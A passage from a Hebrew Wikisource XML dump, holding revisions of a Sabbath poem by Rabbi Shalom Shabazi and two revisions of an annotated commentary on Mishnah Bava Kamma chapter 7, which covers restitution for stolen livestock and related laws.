שָׁלוֹם לְךָ שָׁלוֹם, יוֹם הַמְּנוּחָה

{{סי|שִֽׂ}}ישׂוּ בְּנֵי יַעֲקֹב, כִּי בָא שְׁבִיעִי
גִּֽילוּ בְּלֶֽקַח טוֹב, יוֹם שַׁעֲשׁוּעִי
וּרְאוּ אֱמֶת מַה טּוֹב, דּוֹדִי וְרֵעִי
אֶמְצָא בְּיוֹם זֶה טוֹב, שָׂשׂוֹן וְשִׂמְחָה

{{סי|דִּ}}בֶּר בְּהַר סִינַי, דִּבּוּר רְבִיעִי
זָכוֹר וְגַם שָׁמוֹר, יוֹם הַשְּׁבִיעִי
עַל כֵּן בְּאַהֲבָתוֹ, אֶשְׁתֶּה גְבִיעִי
יוֹם בּוֹא מְיֻדָּעִי, הַשְׁקֵט וּבִטְחָה

{{סי|י}}וֹם הַשְּׁבִיעִי יוֹם, נַֽחַת וְשַׁאֲנַן
כִּסְאִי יְהֶא הַיּוֹם, דָּשֵׁן וְרַעְנַן
עַל כֵּן אֲנִי אֶעֱנֶה, בִּשְׁבָח וְרֶֽנֶן
אָשִׁיר וְעִיר שׁוּשָׁן, נֶגְדִּי פְתוּחָה
}}
&lt;/poem&gt;

[[קטגוריה:שירה (דיואן)]]
[[קטגוריה:שירי שבת (דיואן)]]
[[קטגוריה:פיוטי יהדות תימן]] 
[[קטגוריה:שירי רבי שלום שבזי]]</text>
      <sha1>qqyslgtszlstpgdffb7keme1wv5wtrd</sha1>
    </revision>
    <revision>
      <id>3020677</id>
      <parentid>3020676</parentid>
      <timestamp>2026-06-18T17:04:44Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <origin>3020677</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1423" sha1="n0c6cyt87ap6zs1h3rqyfu92ekxqxdi" xml:space="preserve">*מחבר: רבי שלום שבזי
{{הור|סימן: {{מודגש|שדי}}}}
{{שיר מנוקד|
שָׁלוֹם לְבוֹא שַׁבָּת, שָׁלוֹם וְשִׂמְחָה
שָׁלוֹם לְךָ שָׁלוֹם, יוֹם הַמְּנוּחָה

{{סי|שִֽׂ}}ישׂוּ בְּנֵי יַעֲקֹב, כִּי בָא שְׁבִיעִי
גִּֽילוּ בְּלֶֽקַח טוֹב, יוֹם שַׁעֲשׁוּעִי
וּרְאוּ אֱמֶת מַה טּוֹב, דּוֹדִי וְרֵעִי
אֶמְצָא בְּיוֹם זֶה טוֹב, שָׂשׂוֹן וְשִׂמְחָה

{{סי|דִּ}}בֶּר בְּהַר סִינַי, דִּבּוּר רְבִיעִי
זָכוֹר וְגַם שָׁמוֹר, יוֹם הַשְּׁבִיעִי
עַל כֵּן בְּאַהֲבָתוֹ, אֶשְׁתֶּה גְבִיעִי
יוֹם בּוֹא מְיֻדָּעִי, הַשְׁקֵט וּבִטְחָה

{{סי|י}}וֹם הַשְּׁבִיעִי יוֹם, נַֽחַת וְשַׁאֲנַן
כִּסְאִי יְהֶא הַיּוֹם, דָּשֵׁן וְרַעְנַן
עַל כֵּן אֲנִי אֶעֱנֶה, בִּשְׁבָח וְרֶֽנֶן
אָשִׁיר וְעִיר שׁוּשָׁן, נֶגְדִּי פְתוּחָה
}}


[[קטגוריה:שירה (דיואן)]]
[[קטגוריה:שירי שבת (דיואן)]]
[[קטגוריה:פיוטי יהדות תימן]] 
[[קטגוריה:שירי רבי שלום שבזי]]</text>
      <sha1>n0c6cyt87ap6zs1h3rqyfu92ekxqxdi</sha1>
    </revision>
    <revision>
      <id>3020678</id>
      <parentid>3020677</parentid>
      <timestamp>2026-06-18T17:05:02Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <origin>3020678</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1410" sha1="qh0s5wk4nt6duyahxhnii3hkqrwjy19" xml:space="preserve">*מחבר: רבי שלום שבזי
{{הור|סימן: {{מודגש|שדי}}}}
{{שיר מנוקד|
שָׁלוֹם לְבוֹא שַׁבָּת, שָׁלוֹם וְשִׂמְחָה
שָׁלוֹם לְךָ שָׁלוֹם, יוֹם הַמְּנוּחָה

{{סי|שִֽׂ}}ישׂוּ בְּנֵי יַעֲקֹב, כִּי בָא שְׁבִיעִי
גִּֽילוּ בְּלֶֽקַח טוֹב, יוֹם שַׁעֲשׁוּעִי
וּרְאוּ אֱמֶת מַה טּוֹב, דּוֹדִי וְרֵעִי
אֶמְצָא בְּיוֹם זֶה טוֹב, שָׂשׂוֹן וְשִׂמְחָה

{{סי|דִּ}}בֶּר בְּהַר סִינַי, דִּבּוּר רְבִיעִי
זָכוֹר וְגַם שָׁמוֹר, יוֹם הַשְּׁבִיעִי
עַל כֵּן בְּאַהֲבָתוֹ, אֶשְׁתֶּה גְבִיעִי
יוֹם בּוֹא מְיֻדָּעִי, הַשְׁקֵט וּבִטְחָה

{{סי|י}}וֹם הַשְּׁבִיעִי יוֹם, נַֽחַת וְשַׁאֲנַן
כִּסְאִי יְהֶא הַיּוֹם, דָּשֵׁן וְרַעְנַן
עַל כֵּן אֲנִי אֶעֱנֶה, בִּשְׁבָח וְרֶֽנֶן
אָשִׁיר וְעִיר שׁוּשָׁן, נֶגְדִּי פְתוּחָה
}}


[[קטגוריה:נשוד]]
[[קטגוריה:שירי שבת (דיואן)]]
[[קטגוריה:פיוטי יהדות תימן]] 
[[קטגוריה:שירי רבי שלום שבזי]]</text>
      <sha1>qh0s5wk4nt6duyahxhnii3hkqrwjy19</sha1>
    </revision>
  </page>
  <page>
    <title>ביאור:משנה בבא קמא פרק ז</title>
    <ns>106</ns>
    <id>172174</id>
    <revision>
      <id>3020761</id>
      <parentid>3020575</parentid>
      <timestamp>2026-06-19T10:17:24Z</timestamp>
      <contributor>
        <username>נעם תומר</username>
        <id>44571</id>
      </contributor>
      <origin>3020761</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="12957" sha1="55o0cd4htohbr3nmqdrixirgxk9jm63" xml:space="preserve">&lt;noinclude&gt;{{הבהרת מרחב ביאור}}&lt;/noinclude&gt;
{{ביאור:תוכן למשנה בבא קמא|ז}}
==תשלומי ארבעה וחמישה==
===חטיבה I: הקלוֹת בחיוב ארבעה וחמישה===
{{עוגן|משנה א}}&lt;קטע התחלה=א/&gt;
{{הע-שמאל|בניגוד לאמור [[ביאור:משנה בבא קמא פרק ה#משנה ז|לעיל ה, ז,]] ש&quot;שור&quot; הוא דוגמא לכל בעל חיים - בעניין תשלומי ארבעה וחמישה אין זה כך; וראו [[ביאור:מכילתא/נזיקין#פרשה יב|מכילתא נזיקין סוף יב,]] שלומדת את הדין הזה מהייחוד של שור ושה הקרבים על המזבח.

רק הגנב בעצמו חייב בתשלומי ארבעה וחמישה, אם טבח או מכר. הוא חייב בתשלומים גם אם אדם אחר טבח או מכר את הגניבה עבורו, ואילו הטבח או המוכר פטור; וראו [[ביאור:תוספתא/בבא קמא/ז#ד|תוספתא ז, ד,]] שבמקרה זה יש שליח לדבר עבירה. 

והשוו [[ביאור:משנה בבא קמא פרק ט|לקמן, ט, א,]] שם משלם &quot;כשעת הגזילה&quot;.

שתי הדרשות מצמצמות את התחולה של תשלומי ארבעה וחמישה, והאינטרס לעשות כך הוא משום שתשלומים אלו חורגים מכלל דיני הנזיקין.}}
(א) מרובה מדת תשלומי כפל - ממדת תשלומי ארבעה וחמישה, 

:שמדת תשלומי כפל נוהגת 

::בין בדבר שיש בו רוח חיים - ובין בדבר שאין בו רוח חיים, 

:ומדת תשלומי ארבעה וחמשה אינה נוהגת, אלא בשור ושה בלבד, 

::שנאמר: ([[שמות כא לז]]) &quot;כי יגנב איש שור או שה, וטבחו או מכרו&quot; וגו'.

אין הגונב אחר הגנב משלם תשלומי כפל, 

:ולא הטובח ולא המוכר אחר הגנב משלם תשלומי ארבעה וחמישה:
&lt;קטע סוף=א/&gt;

{{עוגן|משנה ב}}&lt;קטע התחלה=ב/&gt;
{{הע-שמאל|המשנה בניגוד לר' נחוניה בן הקנה, שאמר שיום הכיפורים כשבת לתשלומים ([[ביאור:תוספתא/בבא קמא/ז#ה|תוספתא ז, ה]]), למרות שהטובח ביום הכיפורים ענשו כרת ולא מיתה. 

על הגניבה ועל המכירה בשבת אין חייבים מיתה, אלא רק על הטביחה.}}
(ב) גנב על פי {{ב|שנים|עדים}}, וטבח ומכר על פיהם או על פי שנים אחרים - משלם תשלומי ארבעה וחמישה.

גנב ומכר בשבת, גנב ומכר לעבודה זרה, גנב וטבח ומכר {{ב|ביום הכפורים|במקרים אלו אינו חייב מיתה, ולכן משלם.}}.

:{{ב|גנב משל אביו וטבח ומכר|ובכך  התחייב בתשלום}} ואחר כך מת אביו, {{ב|גנב וטבח|ובכך  התחייב בתשלום}} ואחר כך הקדיש - משלם תשלומי ארבעה וחמישה.

גנב וטבח לרפואה או לכלבים, השוחט ונמצא טריפה, השוחט חולין בעזרה - משלם תשלומי ארבעה וחמישה.

:רבי שמעון פוטר {{ב|בשני אלו|המקרים האחרונים כי לדעתו אין השחיטה נחשבת אם הבשר אסור בהנאה.}}:
&lt;קטע סוף=ב/&gt;

{{עוגן|משנה ג}}&lt;קטע התחלה=ג/&gt;
(ג) גנב על פי שנים, וטבח ומכר על פיהם, ונמצאו זוממין - משלמין הכל.

גנב על פי שנים וטבח ומכר על פי שנים אחרים, {{ב|אלו ואלו|ושתי קבוצות העדים}} נמצאו זוממין - 
{{הע-שמאל|כל קבוצת עדים משלמת מה שהיתה מחייבת את הנאשם. אם העדות על הגניבה בטלה יתכן שאדם אחר גנב, ולכן הוא פטור.

אם שתי הכתות מוזמות מחלקים את חובת התשלום, למרות שהעדות השניה תלויה בראשונה.

אם רק אחד העדים זומם - העדות פסולה אבל אין עליה עונש, ראו [[ביאור:משנה מכות פרק א#משנה ז|מכות א, ז.]]}}
:הראשונים משלמים תשלומי כפל, והאחרונים משלמין תשלומי שלושה.

:נמצאו אחרונים זוממין - הוא משלם תשלומי כפל, והן משלמין תשלומי שלושה.

:אחד מן האחרונים זומם - בטלה עדות שניה.

:אחד מן הראשונים זומם - בטלה כל העדות.

::שאם אין גניבה - אין טביחה ואין מכירה:
&lt;קטע סוף=ג/&gt;

{{עוגן|משנה ד}}&lt;קטע התחלה=ד/&gt;
(ד) גנב על פי שנים, וטבח ומכר {{ב|על פי עד אחד, או על פי עצמו|אין עדות לטביחה.}}

:משלם תשלומי כפל, ואינו משלם תשלומי ארבעה וחמישה.

גנב וטבח בשבת, גנב {{ב|וטבח לעבודה זרה|חייב מיתה על הטביחה ולכן אינו משלם}}.

:גנב משל אביו {{ב|ומת אביו|ולכן יש לו חלק בבהמה מכח הירושה}} ואחר כך טבח ומכר,

:גנב {{ב|והקדיש, ואחר כך טבח ומכר|הטביחה היא מעילה בהקדש אבל אינה מהרכוש הגנוב}}
{{הע-שמאל|ניתן להקדיש את הבהמה הגנובה אם עברה לרשות הגנב על ידי יאוש בעלים וכדומה, ואין בהקרבתה משום מצווה הבאה בעבירה; וראו [[ביאור:תוספתא/תרומות/א#ו|תוספתא תרומות א, ו.]]}}
::משלם תשלומי כפל, ואינו משלם תשלומי ארבעה וחמישה.

:רבי שמעון אומר: קדשים {{ב|שחייב באחריותן|מחוייב להשלים את הקדשים אם חסרו}} - משלם תשלומי {{ב|ארבעה וחמישה|כי הם נחשבים כשלו}}

::שאין חייב באחריותם - פטור:
&lt;קטע סוף=ד/&gt;

{{עוגן|משנה ה}}&lt;קטע התחלה=ה/&gt;
{{הע-שמאל|שוחט ונתנבלה - כדעת ר' שמעון לעיל משנה ב.

השוו [[ביאור:תוספתא/בבא קמא/ז#ו|תוספתא ז, ו,]] שלפיה אם מכר חוץ מגיזתה משלם.}}
(ה) מכרו {{ב|חוץ מאחד ממאה שבו, או שהיתה לו בו שותפות|המכירה אינה שלמה}}, 

:השוחט {{ב|ונתנבלה בידו, הנוחר, והמעקר|השחיטה אינה שלמה}} - 

::משלם תשלומי כפל, ואינו משלם תשלומי ארבעה וחמישה.

===חטיבה II: מה היא &quot;גניבה&quot;?===
גנב ברשות הבעלים, וטבח ומכר חוץ מרשותם; 
{{הע-שמאל|בשלושת המקרים הללו היתה הבהמה באחד השלבים מחוץ לרשות הבעלים, ולכן חייב. אבל אם לא יצאה מרשותם - הרי לא מדובר בגניבה. וראו גם [[ביאור:מכילתא/נזיקין#פרשה יב|מכילתא נזיקין יב.]]}}
:או שגנב חוץ מרשותם, וטבח ומכר ברשותם; 

:או שגנב וטבח ומכר חוץ מרשותם -

::משלם תשלומי ארבעה וחמישה.

אבל גנב וטבח ומכר ברשותם - פטור:
&lt;קטע סוף=ה/&gt;

{{עוגן|משנה ו}}&lt;קטע התחלה=ו/&gt;
(ו) היה מושכו ויוצא, {{ב|ומת ברשות הבעלים|ולא הצליח לגנבו}} - פטור.

:{{ב|הגביהו או שהוציאו מרשות הבעלים|ועבר בכך לרשות הגנב}}, ומת - חייב

{{ב|נתנו|הבעלים}} {{ב|לבכורות בנו|לכהן במקום חמישה סלעים של פדיון הבן}} או {{ב|לבעל חובו|כדי לשלם על החוב}}, 
{{הע-שמאל|מפרשי המשנה פירשו ברובם שמדובר בגנב שמסר לכהן או לשומר. ופשוט יותר לפרש שהבעלים רצה למסור להם והדיון הוא האם יצא ידי חובתו: אם לא הגביהו והבהמה מתה ברשותו - לא יצא. 

כלומר המשנה עוסקת בגדרי העברת בעלות, ובקניית בהמה, ולא דווקא בתשלומי ארבעה וחמישה. וראו [[ביאור:משנה קידושין פרק א#משנה ד|קידושין א, ד:]] בהמה אינה נקנית במשיכה ברשות הבעלים, אלא רק בהגבהה.

העברת הבהמה לכהן או לבעל החוב אינה בתוקף אם היא מתה ברשות הבעלים, וכן אינה מחייבת את השומרים באחריות לשמירתה. וראו גם [[ביאור:מכילתא/נזיקין#פרשה טז|מכילתא נזיקין טז,]] על פס' יג: 'אינו חייב עד שיוציאנו מרשותו'.}}
:לשומר חנם, ולשואל, לנושא שכר, ולשוכר, 

:והיה מושכו, ומת ברשות הבעלים - פטור.

:הגביהו או שהוציאו מרשות הבעלים ומת - {{ב|חייב|השומר לשלם לבעלים, כי הכבש מת מחמת המשיכה שלו. אם מדובר בכהן או בבעל חוב - אין להם עוד טענה כלפי הבעלים.}}:
&lt;קטע סוף=ו/&gt;

===חטיבה III: הגבלות על בעל הבהמה===
{{עוגן|משנה ז}}&lt;קטע התחלה=ז/&gt;
(ז) אין מגדלין בהמה דקה בארץ ישראל, אבל מגדלין בסוריא, ובמדברות שבארץ ישראל.

אין מגדלין {{ב|תרנגולים|שעלולים להביא שרץ ולטמא}} בירושלים - מפני הקדשים
{{הע-שמאל|הפרק עוסק בתשלומי ארבעה וחמישה, וכיוון שאסור לגדל בהמה דקה בארץ יוצא שתשלומי ארבעה אינם מתקיימים שם. אבל ראו [[ביאור:תוספתא/בבא קמא/ח#ד|תוספתא ח, ד,]] שהתירה באיזורים מסוימים. 

לכאורה אין בזה אלא נספח לפרקינו העוסק בגניבה. אולם בתוספתא מצויה הרחבה גדולה של דין האיסור לגדל בהמה דקה, ושם ברור שהאיסור נובע מתפיסת הבהמה כ'ליסטים'. האיסור עצמו נשען על מסורת קדומה, ואולי אף כאן, כבמקומות נוספים לאורך מסכת נזיקין (כפי שהראה שרלו בדוקטורט שלו- עמ' 18-19), הוסמכה מסורות קדומות מימי הבית לדין מדיני התורה. 

מה החילוק בין תרנגולין לכלבים? הנשקה (קדושת ירושלים, עמ' 24) טוען כי לשיטת ההלכה הכיתתית ירושלים אסורים בשחיטת חולין, ולכן עולה צורך לאסור גידולי כלבים בירושלים (כך בממ&quot;ת ובמגילת המקדש), שהרי העצמות שיינתנו להם לא יהיו אלא מן הקודשים. ההלכה של חז&quot;ל התירה שחיטת חולין אף בירושלים, ואין סיבה לאסור בה את הכלבים, שכן יוכלו להאכילם מן החולין, אבל גידול תרנגולים נאסר שכן 'דרך התרנגולין לנקר באשפה שמא יביאו כעדשה מן השרץ ויטמאו את הקודשים'. ורד נעם חילקה בין החשש מתרנגולים של טימוא הקודשים ע&quot;י שרץ לחשש מכלבים בקומראן הנוגע לעצם הביזיון שבאכילת הכלב, כך שהאיסור על גידולו דומה לטאבו על חזיר, כשיטת רבי אליעזר בתוספתא- שכדרכו משמר מסורת קרובה יותר להלכה הכיתתית.      

למעשה גידלו ביהודה בהמה דקה עד לחורבן האיזור במרד בר כוכבא, ובגליל היתה חקלאות אינטנסיבית ולא היה מקום לעדרי צאן. וראו על האיסור הזה [[ביאור:תוספתא/בבא קמא/ח#ד|תוספתא ח, ד.]]

בדומה לתקנה שאין מגדלים תרנגולים בירושלים ראו גם [[ביאור:תוספתא/נגעים/ו#ב|תוספתא נגעים ו, ב,]] שאין עושים בה אשפתות, מאותה הסיבה.}}
:ולא כוהנים בארץ ישראל - מפני הטהרות.

{{ב|אין מגדלין חזירים|סמל ההלניזם}} בכל מקום.

לא יגדל אדם את {{ב|הכלב|יהודים מפחדים מכלבים}}, אלא אם כן היה קשור בשלשלת.

אין פורסין {{ב|נשבים|מלכודות}} ליונים, אלא אם כן {{ב|היה רחוק מן הישוב שלושים ריס|בטווח כזה אין חשש שהיונה שתתפס שייכת לאחד מאנשי הישוב}}:
&lt;קטע סוף=ז/&gt;
{{כותרת תחתונה משנה מבוארת|בבא קמא|ז}}</text>
      <sha1>55o0cd4htohbr3nmqdrixirgxk9jm63</sha1>
    </revision>
    <revision>
      <id>3020762</id>
      <parentid>3020761</parentid>
      <timestamp>2026-06-19T10:18:00Z</timestamp>
      <contributor>
        <username>נעם תומר</username>
        <id>44571</id>
      </contributor>
      <origin>3020762</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="12987" sha1="2yx633jpds6qyiff8q2w2xjkeflibfj" xml:space="preserve">&lt;noinclude&gt;{{הבהרת מרחב ביאור}}&lt;/noinclude&gt;
{{ביאור:תוכן למשנה בבא קמא|ז}}
==תשלומי ארבעה וחמישה==
===חטיבה I: הקלוֹת בחיוב ארבעה וחמישה===
{{עוגן|משנה א}}&lt;קטע התחלה=א/&gt;
{{הע-שמאל|בניגוד לאמור [[ביאור:משנה בבא קמא פרק ה#משנה ז|לעיל ה, ז,]] ש&quot;שור&quot; הוא דוגמא לכל בעל חיים - בעניין תשלומי ארבעה וחמישה אין זה כך; וראו [[ביאור:מכילתא/נזיקין#פרשה יב|מכילתא נזיקין סוף יב,]] שלומדת את הדין הזה מהייחוד של שור ושה הקרבים על המזבח.

רק הגנב בעצמו חייב בתשלומי ארבעה וחמישה, אם טבח או מכר. הוא חייב בתשלומים גם אם אדם אחר טבח או מכר את הגניבה עבורו, ואילו הטבח או המוכר פטור; וראו [[ביאור:תוספתא/בבא קמא/ז#ד|תוספתא ז, ד,]] שבמקרה זה יש שליח לדבר עבירה. 

והשוו [[ביאור:משנה בבא קמא פרק ט|לקמן, ט, א,]] שם משלם &quot;כשעת הגזילה&quot;.

שתי הדרשות מצמצמות את התחולה של תשלומי ארבעה וחמישה, והאינטרס לעשות כך הוא משום שתשלומים אלו חורגים מכלל דיני הנזיקין.}}
(א) מרובה מדת תשלומי כפל - ממדת תשלומי ארבעה וחמישה, 

:שמדת תשלומי כפל נוהגת 

::בין בדבר שיש בו רוח חיים - ובין בדבר שאין בו רוח חיים, 

:ומדת תשלומי ארבעה וחמשה אינה נוהגת, אלא בשור ושה בלבד, 

::שנאמר: ([[שמות כא לז]]) &quot;כי יגנב איש שור או שה, וטבחו או מכרו&quot; וגו'.

אין הגונב אחר הגנב משלם תשלומי כפל, 

:ולא הטובח ולא המוכר אחר הגנב משלם תשלומי ארבעה וחמישה:
&lt;קטע סוף=א/&gt;

{{עוגן|משנה ב}}&lt;קטע התחלה=ב/&gt;
{{הע-שמאל|המשנה בניגוד לר' נחוניה בן הקנה, שאמר שיום הכיפורים כשבת לתשלומים ([[ביאור:תוספתא/בבא קמא/ז#ה|תוספתא ז, ה]]), למרות שהטובח ביום הכיפורים ענשו כרת ולא מיתה. 

על הגניבה ועל המכירה בשבת אין חייבים מיתה, אלא רק על הטביחה.}}
(ב) גנב על פי {{ב|שנים|עדים}}, וטבח ומכר על פיהם או על פי שנים אחרים - משלם תשלומי ארבעה וחמישה.

גנב ומכר בשבת, גנב ומכר לעבודה זרה, גנב וטבח ומכר {{ב|ביום הכפורים|במקרים אלו אינו חייב מיתה, ולכן משלם.}}.

:{{ב|גנב משל אביו וטבח ומכר|ובכך  התחייב בתשלום}} ואחר כך מת אביו, {{ב|גנב וטבח|ובכך  התחייב בתשלום}} ואחר כך הקדיש - משלם תשלומי ארבעה וחמישה.

גנב וטבח לרפואה או לכלבים, השוחט ונמצא טריפה, השוחט חולין בעזרה - משלם תשלומי ארבעה וחמישה.

:רבי שמעון פוטר {{ב|בשני אלו|המקרים האחרונים כי לדעתו אין השחיטה נחשבת אם הבשר אסור בהנאה.}}:
&lt;קטע סוף=ב/&gt;

{{עוגן|משנה ג}}&lt;קטע התחלה=ג/&gt;
(ג) גנב על פי שנים, וטבח ומכר על פיהם, ונמצאו זוממין - משלמין הכל.

גנב על פי שנים וטבח ומכר על פי שנים אחרים, {{ב|אלו ואלו|ושתי קבוצות העדים}} נמצאו זוממין - 
{{הע-שמאל|כל קבוצת עדים משלמת מה שהיתה מחייבת את הנאשם. אם העדות על הגניבה בטלה יתכן שאדם אחר גנב, ולכן הוא פטור.

אם שתי הכתות מוזמות מחלקים את חובת התשלום, למרות שהעדות השניה תלויה בראשונה.

אם רק אחד העדים זומם - העדות פסולה אבל אין עליה עונש, ראו [[ביאור:משנה מכות פרק א#משנה ז|מכות א, ז.]]}}
:הראשונים משלמים תשלומי כפל, והאחרונים משלמין תשלומי שלושה.

:נמצאו אחרונים זוממין - הוא משלם תשלומי כפל, והן משלמין תשלומי שלושה.

:אחד מן האחרונים זומם - בטלה עדות שניה.

:אחד מן הראשונים זומם - בטלה כל העדות.

::שאם אין גניבה - אין טביחה ואין מכירה:
&lt;קטע סוף=ג/&gt;

{{עוגן|משנה ד}}&lt;קטע התחלה=ד/&gt;
(ד) גנב על פי שנים, וטבח ומכר {{ב|על פי עד אחד, או על פי עצמו|אין עדות לטביחה.}}

:משלם תשלומי כפל, ואינו משלם תשלומי ארבעה וחמישה.

גנב וטבח בשבת, גנב {{ב|וטבח לעבודה זרה|חייב מיתה על הטביחה ולכן אינו משלם}}.

:גנב משל אביו {{ב|ומת אביו|ולכן יש לו חלק בבהמה מכח הירושה}} ואחר כך טבח ומכר,

:גנב {{ב|והקדיש, ואחר כך טבח ומכר|הטביחה היא מעילה בהקדש אבל אינה מהרכוש הגנוב}}
{{הע-שמאל|ניתן להקדיש את הבהמה הגנובה אם עברה לרשות הגנב על ידי יאוש בעלים וכדומה, ואין בהקרבתה משום מצווה הבאה בעבירה; וראו [[ביאור:תוספתא/תרומות/א#ו|תוספתא תרומות א, ו.]]}}
::משלם תשלומי כפל, ואינו משלם תשלומי ארבעה וחמישה.

:רבי שמעון אומר: קדשים {{ב|שחייב באחריותן|מחוייב להשלים את הקדשים אם חסרו}} - משלם תשלומי {{ב|ארבעה וחמישה|כי הם נחשבים כשלו}}

::שאין חייב באחריותם - פטור:
&lt;קטע סוף=ד/&gt;

{{עוגן|משנה ה}}&lt;קטע התחלה=ה/&gt;
{{הע-שמאל|שוחט ונתנבלה - כדעת ר' שמעון לעיל משנה ב.

השוו [[ביאור:תוספתא/בבא קמא/ז#ו|תוספתא ז, ו,]] שלפיה אם מכר חוץ מגיזתה משלם.}}
(ה) מכרו {{ב|חוץ מאחד ממאה שבו, או שהיתה לו בו שותפות|המכירה אינה שלמה}}, 

:השוחט {{ב|ונתנבלה בידו, הנוחר, והמעקר|השחיטה אינה שלמה}} - 

::משלם תשלומי כפל, ואינו משלם תשלומי ארבעה וחמישה.

===חטיבה II: מה היא &quot;גניבה&quot;?===
גנב ברשות הבעלים, וטבח ומכר חוץ מרשותם; 
{{הע-שמאל|בשלושת המקרים הללו היתה הבהמה באחד השלבים מחוץ לרשות הבעלים, ולכן חייב. אבל אם לא יצאה מרשותם - הרי לא מדובר בגניבה. וראו גם [[ביאור:מכילתא/נזיקין#פרשה יב|מכילתא נזיקין יב.]]}}
:או שגנב חוץ מרשותם, וטבח ומכר ברשותם; 

:או שגנב וטבח ומכר חוץ מרשותם -

::משלם תשלומי ארבעה וחמישה.

אבל גנב וטבח ומכר ברשותם - פטור:
&lt;קטע סוף=ה/&gt;

{{עוגן|משנה ו}}&lt;קטע התחלה=ו/&gt;
(ו) היה מושכו ויוצא, {{ב|ומת ברשות הבעלים|ולא הצליח לגנבו}} - פטור.

:{{ב|הגביהו או שהוציאו מרשות הבעלים|ועבר בכך לרשות הגנב}}, ומת - חייב

{{ב|נתנו|הבעלים}} {{ב|לבכורות בנו|לכהן במקום חמישה סלעים של פדיון הבן}} או {{ב|לבעל חובו|כדי לשלם על החוב}}, 
{{הע-שמאל|מפרשי המשנה פירשו ברובם שמדובר בגנב שמסר לכהן או לשומר. ופשוט יותר לפרש שהבעלים רצה למסור להם והדיון הוא האם יצא ידי חובתו: אם לא הגביהו והבהמה מתה ברשותו - לא יצא. 

כלומר המשנה עוסקת בגדרי העברת בעלות, ובקניית בהמה, ולא דווקא בתשלומי ארבעה וחמישה. וראו [[ביאור:משנה קידושין פרק א#משנה ד|קידושין א, ד:]] בהמה אינה נקנית במשיכה ברשות הבעלים, אלא רק בהגבהה.

העברת הבהמה לכהן או לבעל החוב אינה בתוקף אם היא מתה ברשות הבעלים, וכן אינה מחייבת את השומרים באחריות לשמירתה. וראו גם [[ביאור:מכילתא/נזיקין#פרשה טז|מכילתא נזיקין טז,]] על פס' יג: 'אינו חייב עד שיוציאנו מרשותו'.}}
:לשומר חנם, ולשואל, לנושא שכר, ולשוכר, 

:והיה מושכו, ומת ברשות הבעלים - פטור.

:הגביהו או שהוציאו מרשות הבעלים ומת - {{ב|חייב|השומר לשלם לבעלים, כי הכבש מת מחמת המשיכה שלו. אם מדובר בכהן או בבעל חוב - אין להם עוד טענה כלפי הבעלים.}}:
&lt;קטע סוף=ו/&gt;

===חטיבה III: הגבלות על בעל הבהמה===
{{עוגן|משנה ז}}&lt;קטע התחלה=ז/&gt;
(ז) אין מגדלין בהמה דקה בארץ ישראל, אבל מגדלין בסוריא, ובמדברות שבארץ ישראל.

אין מגדלין {{ב|תרנגולים|שעלולים להביא שרץ ולטמא}} בירושלים - מפני הקדשים
{{הע-שמאל|הפרק עוסק בתשלומי ארבעה וחמישה, וכיוון שאסור לגדל בהמה דקה בארץ יוצא שתשלומי ארבעה אינם מתקיימים שם. אבל ראו [[ביאור:תוספתא/בבא קמא/ח#ד|תוספתא ח, ד,]] שהתירה באיזורים מסוימים. 

לכאורה אין בזה אלא נספח לפרקינו העוסק בגניבה. אולם בתוספתא מצויה הרחבה גדולה של דין האיסור לגדל בהמה דקה, ושם ברור שהאיסור נובע מתפיסת הבהמה כ'ליסטים'. האיסור עצמו נשען על מסורת קדומה, ואולי אף כאן, כבמקומות נוספים לאורך מסכת נזיקין (כפי שהראה שרלו בדוקטורט שלו- עמ' 18-19), הוסמכה מסורות קדומות מימי הבית לדין מדיני התורה. 

מה החילוק בין תרנגולין לכלבים? הנשקה (קדושת ירושלים, עמ' 24) טוען כי לשיטת ההלכה הכיתתית ירושלים אסורים בשחיטת חולין, ולכן עולה צורך לאסור גידולי כלבים בירושלים (כך במגילת מקצת מעשה תורה ובמגילת המקדש), שהרי העצמות שיינתנו להם לא יהיו אלא מן הקודשים. ההלכה של חז&quot;ל התירה שחיטת חולין אף בירושלים, ואין סיבה לאסור בה את הכלבים, שכן יוכלו להאכילם מן החולין, אבל גידול תרנגולים נאסר שכן 'דרך התרנגולין לנקר באשפה שמא יביאו כעדשה מן השרץ ויטמאו את הקודשים'. ורד נעם חילקה בין החשש מתרנגולים של טימוא הקודשים ע&quot;י שרץ לחשש מכלבים בקומראן הנוגע לעצם הביזיון שבאכילת הכלב, כך שהאיסור על גידולו דומה לטאבו על חזיר, כשיטת רבי אליעזר בתוספתא- שכדרכו משמר מסורת קרובה יותר להלכה הכיתתית.      

למעשה גידלו ביהודה בהמה דקה עד לחורבן האיזור במרד בר כוכבא, ובגליל היתה חקלאות אינטנסיבית ולא היה מקום לעדרי צאן. וראו על האיסור הזה [[ביאור:תוספתא/בבא קמא/ח#ד|תוספתא ח, ד.]]

בדומה לתקנה שאין מגדלים תרנגולים בירושלים ראו גם [[ביאור:תוספתא/נגעים/ו#ב|תוספתא נגעים ו, ב,]] שאין עושים בה אשפתות, מאותה הסיבה.}}
:ולא כוהנים בארץ ישראל - מפני הטהרות.

{{ב|אין מגדלין חזירים|סמל ההלניזם}} בכל מקום.

לא יגדל אדם את {{ב|הכלב|יהודים מפחדים מכלבים}}, אלא אם כן היה קשור בשלשלת.

אין פורסין {{ב|נשבים|מלכודות}} ליונים, אלא אם כן {{ב|היה רחוק מן הישוב שלושים ריס|בטווח כזה אין חשש שהיונה שתתפס שייכת לאחד מאנשי הישוב}}:
&lt;קטע סוף=ז/&gt;
{{כותרת תחתונה משנה מבוארת|בבא קמא|ז}}</text>
      <sha1>2yx633jpds6qyiff8q2w2xjkeflibfj</sha1>
    </revision>
  </page>
  <page>
    <title>ביאור:משנה בבא קמא פרק ט</title>
    <ns>106</ns>
    <id>172176</id>
    <revision>
      <id>3020665</id>
      <parentid>1283124</parentid>
      <timestamp>2026-06-18T16:46:05Z</timestamp>
      <contributor>
        <username>נעם תומר</username>
        <id>44571</id>
      </contributor>
      <origin>3020665</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
